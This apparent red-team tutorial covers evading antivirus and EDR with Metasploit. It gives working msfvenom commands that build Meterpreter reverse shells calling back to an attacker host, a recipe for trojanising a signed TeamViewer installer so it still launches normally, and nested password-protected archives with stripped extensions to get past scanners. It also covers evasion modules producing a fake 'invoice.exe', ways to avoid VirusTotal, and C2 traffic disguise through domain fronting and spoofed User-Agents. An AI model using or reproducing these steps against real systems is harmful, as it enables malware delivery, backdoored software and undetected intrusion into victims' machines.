Naked msfvenom output is a solved problem for every modern AV and EDR. If you’re dropping unencoded windows/meterpreter/reverse_tcp exe’s and expecting sessions, you’re going to be disappointed. Evasion is a stack — template injection, encoding, encryption, obfuscation, archiving — and each layer buys you some runway.
The Honest Truth About Encoders
Shikata ga nai (x86/shikata_ga_nai) is the famous polymorphic XOR encoder — every run produces different bytes for the same input. Twenty years ago it broke most signature AV. Today:
- Modern AV flags the shikata decoder stub itself
- 10 iterations of shikata still gets caught by 50+/68 engines on VirusTotal
- EDR with behavioral analysis (CrowdStrike, Defender ATP, SentinelOne) doesn’t care about your encoding
Encoders are for solving bad-character problems in exploit development. They are not a reliable AV bypass in 2026.
# Still useful for bad-char removal
msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f cThe Evasion Stack
For a shot at surviving a real engagement’s AV, layer these:
| Layer | Technique | msfvenom flag |
|---|---|---|
| Foundation | Template injection | -x legit.exe |
| Stability | Keep template running | -k |
| Obfuscation | Encoding + iterations | -e enc -i N |
| Transport | Encrypted C2 (default) | meterpreter AES |
| Concealment | Password-protected archive | rar a -p |
| Final | Nested archive + ext removal | manual |
1. Template Injection
Instead of a naked payload.exe signed by nobody, backdoor a known-good signed binary:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
-x TeamViewer_Setup.exe -k -e x86/shikata_ga_nai -i 5 -f exe -o backdoored.exe-x embeds the shellcode inside the PE structure of the template.
2. Keep Flag (-k)
Without -k, the template’s original code never runs — the user sees the app crash on launch and gets suspicious. With -k, the payload runs in a separate thread and the legit application starts normally.
3. Encrypted C2
Meterpreter sessions use AES encryption by default (since MSF 5+). Network IDS/IPS can’t inspect the C2 payload. Combine with reverse_https for traffic that blends into normal HTTPS browsing.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 \
-f exe -o payload.exePrefer port 443 over 4444 — anything on 443 looks like a browser to a casual proxy log review.
4. Password-Protected Archives
Many AV scanners skip password-protected archives entirely — they can’t read the contents.
rar a -p'S3cur3P@ss' payload.rar payload.exe
# or
zip -e payload.zip payload.exeTrade-off: a password-protected attachment may itself get flagged as “unable to scan” and quarantined by email gateways, prompting admin inspection.
5. Nested Obfuscation
The most aggressive file-based evasion stack:
rar a -p'Pass1' step1.rar payload.exe # 1st archive
mv step1.rar step1 # strip extension
rar a -p'Pass2' final.rar step1 # 2nd archive with no ext inside
mv final.rar final # strip extension againThis buries the payload under two layers of encryption with no filetype hints. Delivered via side-channel (chat, USB), it survives most automated inspection.
MSF Evasion Modules
Metasploit ships standalone evasion modules that generate AV-aware binaries:
search type:evasion
use evasion/windows/windows_defender_exe
set FILENAME invoice.exe
set LHOST 10.10.14.5
set LPORT 443
set payload windows/x64/meterpreter/reverse_tcp
runThese are built to dodge specific products (Defender is the most common target). Detection effectiveness changes every month — test against a current VM before trusting it on an engagement.
Checking Detection
MSF ships a VirusTotal uploader (needs a free API key):
msf-virustotal -k <API_KEY> -f payload.exeVirusTotal is a loudspeaker
Every sample uploaded to VirusTotal is shared with AV vendors and threat intel feeds. Your custom payload becomes a known signature within hours. Use a dedicated sandbox or an opt-out service (
antiscan.me,kleenscan) for engagement work.
Beyond Metasploit
For anything past basic AV, you’ll need to leave msfvenom behind:
- Custom loaders / shellcode runners — write a C/C++/Nim/Rust loader that fetches shellcode at runtime, decrypts in memory, allocates with
VirtualAlloc(PAGE_EXECUTE_READWRITE)or better, bypasses EDR hooks onNtAllocateVirtualMemory/NtWriteVirtualMemory - LOLBins — use signed Windows binaries (
rundll32,regsvr32,mshta,installutil) to execute payloads without a rogue binary ever touching disk - Reflective DLL injection — load a DLL into another process directly from memory
- Sliver / Havoc / Cobalt Strike — purpose-built C2s with better evasion out of the box than Metasploit
Metasploit remains the best framework for broad, fast exploitation. For modern AV/EDR evasion against mature targets, it’s a starting point, not the finish line.
Firewall / IDS Network Evasion
Beyond the file, consider the network side:
- Reverse HTTPS over 443 — blends with normal web traffic, traverses most proxies
- Domain fronting / redirectors — put a legitimate CDN in front of your C2
- Low-and-slow callbacks — long sleep intervals defeat rate-based detections
- Pin to known-good User-Agents — default MSF UA is a known signature; override advanced options:
set MeterpreterUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ..."
set MeterpreterServerName "Apache"The exact UA/server strings a mature SOC flags change constantly. Default = flagged. Any override = better.
